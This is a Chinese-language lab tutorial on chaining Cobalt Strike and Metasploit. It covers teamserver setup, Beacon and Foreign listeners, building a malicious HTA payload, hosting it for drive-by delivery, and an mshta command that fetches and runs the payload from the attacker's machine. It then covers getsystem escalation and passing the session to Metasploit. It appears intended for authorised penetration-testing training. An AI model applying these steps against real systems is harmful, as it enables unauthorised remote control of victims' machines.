使用cobaltstrike接口传递msf中的shell
字数 1109 2025-08-15 21:30:47
Cobalt Strike与Metasploit联动渗透测试教程
一、工具简介
Cobalt Strike是一款基于Metasploit的GUI框架式渗透测试工具,集成了多种功能:
- 端口转发
- 服务扫描
- 自动化溢出
- 多模式端口监听
- EXE/PowerShell木马生成
实验环境:
- 渗透机:Kali Linux (172.16.1.34)
- 靶机:Windows Server 2008 (172.16.1.24)
二、Cobalt Strike目录结构
agscript # 拓展应用的脚本
clint # 检查profile的错误信息
teamserver # 服务端程序
cobaltstrike # 客户端程序
cobaltstrike.jar # Java跨平台客户端
logs # 记录与目标主机的信息
third-party # 第三方工具
三、基础配置与启动
- 启动服务端:
./teamserver 172.16.1.34 p@ssw0rd
- 启动客户端:
- 保持服务端窗口开启
- 在本地启动Cobalt Strike客户端连接测试
- 用户通信:
/msg Ro0t xxxxxx
四、监听器配置
1. Beacon监听器(内置)
Beacon是CS内置监听器,需要在目标机上执行相应payload获取shell,包含:
- SMB
- DNS
- HTTP等模块
示例payload:
windows/beacon_http/reverse_dns_txt
windows/beacon_http/reverse_http
x86/x64
2. Foreign监听器(外部联动)
主要用于与Metasploit结合,获取meterpreter shell。
创建步骤:
- 在Cobalt Strike中添加Listener
- 创建Beacon Listener或Foreign Listener
- 保存配置
五、生成恶意文件
- 在主配置菜单中依次点击:
Attack > Packages > HTML Application - 选择Listener生成方法:
- PowerShell
- VBA
- EXE
- 选择PowerShell,保存到桌面
六、Web服务攻击
- 依次点击:
Attacks > Web Drive-by > Host File - 通过web服务打开连接通道
- 在弹出窗口中找到"文件"栏,点击文件夹按钮
- 选择添加的恶意脚本(.hta)
- 添加完成后点击"Launch"启动web服务模块
七、靶机执行
在靶机终端执行:
mshta.exe http://172.16.1.34:80/download/file.txt
注意事项:
- 默认心跳间隔60秒,可调整以避免流量过大
- 查看日志确认新连接建立
八、会话交互
- 右击会话选择"Interact"打开交互终端
- 查看当前权限
- 尝试使用
getsystem提权
九、与Metasploit联动
-
在MSF中设置监听载荷:
set lhost 172.16.1.34 exploit -j -
在Cobalt Strike中:
- 右击会话选择"Spawn"
- 在弹出的窗口中点击"Add"添加新监听器
-
回到MSF终端,此时已建立与靶机的会话
十、注意事项
- 实验建议在实训平台进行
- 操作前确保获得合法授权
- 注意心跳间隔设置,避免产生过多网络流量
- 不同版本工具可能有细微差异
通过以上步骤,可以实现Cobalt Strike与Metasploit的联动渗透测试,充分发挥两款工具的优势,提高渗透测试效率。